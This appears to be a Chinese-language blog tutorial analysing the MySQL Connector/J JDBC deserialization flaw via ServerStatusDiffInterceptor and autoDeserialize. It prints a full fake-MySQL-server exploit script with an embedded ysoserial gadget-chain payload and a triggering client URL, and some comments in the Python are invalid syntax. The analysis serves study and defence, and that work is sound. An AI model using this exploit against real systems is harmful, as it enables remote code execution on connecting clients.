JDBC（Java DataBase Connectivity）是Java和数据库之间的一个桥梁，是一个 规范 而不是一个实现，能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现，简单来说，你可以理解为 JDBC是封装好的数据库接口，你可以直接使用java调用该组件的接口，他把数据库的协议封装好了，让你无需对协议进行理解即可使用。
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| String Driver = "com.mysql .cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.加载启动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库，实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据，rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("id")+" : "+rs.getString("username"));
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java序列化对象特征
这个东西是为了理解下面的代码而写的.
我们先写一个简单的demo
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| public class Car implements Serializable {
private String name;
public Car(){
this.name ="car";
}
public static void main(String[] args) throws IOException {
Car car=new Car();
FileOutputStream fos =new FileOutputStream("output");
ObjectOutputStream oos =new ObjectOutputStream(fos);
oos.writeObject(car);
oos.close();
}
}
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上面的代码把一个Car对象输出到了文件中.我们看一下文件的字节内容
可以看到我们序列化后的对象前两个字节分别是-84和-19 .这个是java对象的一个标识，后面会用到这两个数字
原理分析
连接数据库URL中关键的地方就三个
url中的目标地址是可控的，那么连接到哪个mysql服务就可控，可以编写一个恶意的mysql服务，这个后面会提到
queryInterceptors属性相当于一个拦截器，连接代码中指定为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor类，当执行数据库查询操作时，就经过ServerStatusDiffInterceptor类的postProcess和preProcess方法，在连接数据库时也会调用到preProcess方法
autoDeserialize属性是利用反序列化需要用到的，这个后面会提，剩下的
根据原作者的思路去分析他是如何去挖掘这个漏洞的.
- 反序列化漏洞，那就需要可以解析我们传过来的恶意对象.而不是把我们传输过来的当做字节数据处理. 所以需要找到一个可以readObject的地方
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| 于是作者在这里盯上了com.mysql.cj.jdbc.result.ResultSetImpl.getObject(). 主要看其中重要的逻辑代码，对源代码进行了部分删减.
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| public Object getObject(int columnIndex) throws SQLException {
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
//获取连接属性的autoDeserialize是否为true
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
//data长度大于等于2是为了下一个判断.
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
//上面已经分析过了,就是识别是不是序列化后的对象
// Serialized object?
//下面就是反序列化对象了.
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}
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现在就是找调用 getObject的地方了.作者找到了
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()方法。
ServerStatusDiffInterceptor是一个拦截器，在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句会调用拦截器的preProcess和postProcess方法，进而通过上述调用链最终调用getObject()方法。
在JDBC连接数据库的过程中，会调用SHOW SESSION STATUS去查询，然后对结果进行处理的时候会调用resultSetToMap.跟进去
到这里我们已经找到了一个利用链了.设置拦截器，然后进入到getObject，在getObject中，只要autoDeserialize 为True.就可以进入到最后readObject中.
跟进ResultSetImpl#getObject方法，一系列的操作最终会执行到反序列化操作，而反序列化的内容data变量可以通过编写的恶意mysql服务器控制！然后就是看前面的一系列判断条件了，通过columnIndexMinusOne获取field，columnIndexMinusOne又是通过columnIndex计算出来的，调试的时候columnIndex为2，columnIndexMinusOne为1，也就是上一步的第二次调用getObject方法才进入反序列化。然后判断field的类型，当field类型为BIT或者BLOB类型时（case BLOB里面的代码跟case BIT是一样的），通过columnIndex获取到反序列化的字节数组data，然后判断autoDeserialize属性值是否为true（这就是为什么前面POC中设置其为true的原因），然后data字节数组需要不为空且长度大于2，并且前两个字节为84和19(其实这个两个字节就是序列化数据的标记，这两个字节开头的数据就是序列化数据)，最后进入反序列化操作
这也是POC中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的由来
复现的思路
在JDBC连接MySQL的过程中，执行了SHOW SESSION STATUS语句.我们返回的结果需要是一个恶意的对象.那就是说我们需要自己写一个假的MYSQL服务.
这里就会有两种写法1.根据MYSQL的协议去写服务器. 2.抓包，模拟发包过程.
这里选择使用第二种方法
这里就直接用大佬的jio本
fake_mysql
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| # -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
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中间的原理有一点复杂不太能看懂，先挖个坑。
client：
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| public class JdbcClient {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
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